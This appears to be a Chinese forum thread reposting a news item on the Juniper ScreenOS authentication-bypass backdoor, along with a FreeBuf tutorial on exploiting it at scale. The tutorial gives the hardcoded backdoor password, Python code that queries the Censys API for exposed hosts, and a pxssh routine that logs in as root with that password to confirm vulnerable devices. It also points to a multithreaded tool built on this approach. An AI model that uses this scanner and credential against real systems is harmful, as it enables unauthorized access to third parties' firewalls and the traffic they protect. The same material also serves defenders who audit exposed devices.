发新话题
打印

Juniper ScreenOS绕过身份验证的后门

Juniper ScreenOS绕过身份验证的后门

Juniper防火墙产品运行的系统ScreenOS上周爆出了两个后门,一个后门与椭圆曲线伪随机数生成器有关,允许攻击者解密VPN流量;第二个后门允许攻击者绕过 SSH和Telnet 的身份验证。该后门密码是“is <<< %s”(un='%s') = %u,它没有在旧的版本中发现,只影响ScreenOS 6.3.0r17和6.3.0r19,根据受影响版本发布的时间,后门密码最早是在2013年加入的。Juniper 提供了在日志中发现攻击者利用后门密码登录的方法。

原文:http://www.solidot.org/story?sid=46598

[ 本帖最后由 linda 于 2016-2-29 17:46 编辑 ]

TOP

利用Censys批量获取Juniper Netscreen后门

Censys是一款用以搜索联网设备信息的新型搜索引擎,安全专家可以使用它来评估他们实现方案的安全性,而黑客则可以使用它作为前期侦查攻击目标、收集目标信息的强大利器。其功能与十分流行的Shodan十分相似,然而与Shodan相比其优势在于这是一款免费的搜索引擎,最初由密歇根大学的研究人员在10月发行,目前由谷歌提供支持。关于Censys的具体介绍可参考 http://www.freebuf.com/news/89285.html

Juniper高级副总裁兼首席信息安全官Bob Worrall称,在最近的内部代码审计过程中发现了两枚漏洞,影响ScreenOS 6.2.0r15—6.2.0r18,6.3.0r12—6.3.0r20版本。其中一个是未授权代码漏洞,可解密VPN流量;另外一个可允许攻击者通过SSH或者telnet远程管理访问设备。Juniper提到这些系统的访问会被记录,密码认证也会成功,但是攻击者可改变或者删除日志条目。关于漏洞具体介绍可参考http://www.freebuf.com/news/90323.html
了解到该漏洞后我尝试着使用Censys搜索可能存在后门的主机并批量进行验证。在完成这项工作之前请先让我带领大家大体了解一下Censys中API的使用方法。
首先,你需要有一个帐号,Censys是免费开放注册的,所以这个应该很简单。注册好后在我们的账户页面可以看到Censys为我们每人分配了一个APIID和一个Secret,另外我们还注意到下面有一个搜索频率的限制,使用API的话每5分钟只能搜索120次,这个问题我们下面再处理。

打开API页面,我们看到,Censys提供了search、view、report、query、export以及data六种API接口。

在提供的API方法中,我们使用最多的应该就是search了,所以,我大体介绍一下search的使用方法。search接口的请求地址是https://www.censys.io/api/v1/search/?,其中?的地方可以是ipv4、websites或者certificates,分别代表搜索ipv4主机、网站和证书。我们的POST请求应该是一组包含query、page、fields的json数据,其中query指的是相应的搜索语句;page代表返回的页码,Censys总是返回一页的数据,即如果你page设置的5,那么其返回的并不是前5页的数据,而是第5页的数据;fields指的是你希望返回值中包含哪些字段,具体包含哪些字段你可以自己去看一下。
通过上面的介绍我们就可以使用Censys来获取数据了,比如说如果你想获取所有apache的服务器,你可以像下面这样来构造代码:
import sysimport jsonimport requests   API_URL = "https://www.censys.io/api/v1"UID = "YOUR API ID"SECRET = "YOUR SECRET"data = {    "query":"80.http.get.headers.server: apache",     "page":1,     "fields":["ip", "location.country"]}res = requests.post(API_URL + "/search/ipv4", data=json.dumps(data), auth=(UID, SECRET))results = res.json()if res.status_code != 200:    print "error occurred: %s" % results["error"]    sys.exit(1)for result in results["results"]:    print "%s in %s" % (result["ip"], result["location.country"][0])当然,上面一段代码只返回了第一页的数据,如果你想获得大量数据可以设置一个page变量循环获取,注意:page要从1开始循环而不是从0哦。当然,这样的话问题就来了,Censys只允许我们每5分钟请求120次,直接遍历的话会出现错误,因此我添加了一个延时器,如果一次请求所用的时间少于2.5秒,我就延时剩余的时间,否则的话就直接进行下一次查询。当然,你或许会有更好的方法来解决这个问题。
介绍完Censys,就应该进入正题了,其实检查设备是否有后门就是看该主机可不可以使用user = “root”,password = “<<< %s(un=’%s’) = %u”登录其SSH。我使用了pexpect模块的pxssh来登录远程SSH,具体代码如下:
def connectSSH(host, user, passwd):try:    ssh = pxssh.pxssh()    ssh.login(host, user, passwd, auto_prompt_reset = False)    return sshexcept Exception, e:    print "%s is not vul" % host其实由于登录后并不是传统的SSH,而是该防火墙的操作终端,因此pxssh会认为并没有登录成功,而是返回超时异常,此时我们检测其返回的before字段如果有Remote Management Console字样就说明该主机存在后门。
整合其所有代码并加入多线程进行优化后,我们就可以实时获取可能存在后门的主机并对其进行检测了,整合后的代码地址:https://github.com/s0m30ne/JuniperBackdoor
* 原创作者:阿金,本文属FreeBuf原创奖励计划,未经许可禁止转载
原文:http://www.tuicool.com/articles/EFNrYzb

TOP

发新话题